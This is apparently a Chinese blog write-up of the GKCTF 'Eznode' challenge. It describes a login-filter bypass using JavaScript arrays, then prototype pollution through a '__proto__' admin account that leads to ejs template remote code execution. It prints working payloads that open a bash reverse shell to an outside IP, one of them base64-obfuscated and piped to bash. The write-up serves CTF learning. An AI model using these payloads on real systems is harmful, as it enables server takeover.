GKcctf
Eznode
考点为js弱类型比较,ejs原型链污染rce
原理参考ejs原型链污染rce
https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html
审计源码发现存在
一个login
登录并且有白名单过滤,
登录后存在token认证
可以在/addAdmin
下添加admin账户
最后可以在不知道在干啥的adminDIV
路由发现原型链污染漏洞,这里的extend
方法会将第二个参数JSON.parse(addDIV)
压入到第一个参数中,这里还特别用了JSON.parse
防止了__proto__
被当作原型。
本地测试了一下
第二个漏洞点在于ejs
的模板引擎rce,需要借助第一步的原型链污染实现
{'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/172.16.163.238 /2333 0>&1\"');var __tmp2"}}
但是要进入adminDIV
需要进行登录,登录中需要绕过白名单,这个考的是js弱类型,数组真的是在任何题目都可能考到的东西,虽然这个点不大,但以后一定要经常记起来这个东西,不然就会卡半天。这里过滤的逻辑是
在白名单blacklist = ['\\','\^',')','(','\"','\'']
中遍历,当用户输入中有白名单中的字符则让这个字符变成*
。
这里可以想如果我们输入的参数为一个数组,那么str[i]
就是一个字符,则if (waf(str[i]) =="*")
肯定为false,从而绕过,但是这样进行sql查询时,数组没有substr方法会报错,可以看到if里面还有个拼接操作,在js中数组加上字符串最后结果是一个字符串,所以仍然需要进入if语句中,所以这里的思路就是构造一个数组但是数组里面会含有白名单中的字符。
1 |
|
构造payload,这里username长度得足够因为后面还有substr方法
username[]=admin'#&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=1&username[]=(&password=123456
这样最后结果就是
改包发送得到token
用得到的token添加admin用户,注意让添加的用户名为__proto__
,然后用添加成功的admin用户登录然后进行原型污染。用新用户登录中直接登录就不行,非得用hackbar,真不知道为啥。
拿到新用户token后进行原型链污染,然后访问admin页面进入 ejs 渲染引擎getshell,buu内网靶机监听。
data={'__proto__':{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('echo YmFzaCAtYyBiYXNoIC1pID4mIC9kZXYvdGNwLzE3Mi4xNi4xNjMuMjM4LzIzMzMgMD4mMQo= | base64 -d | bash');var __tmp2"}}
本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!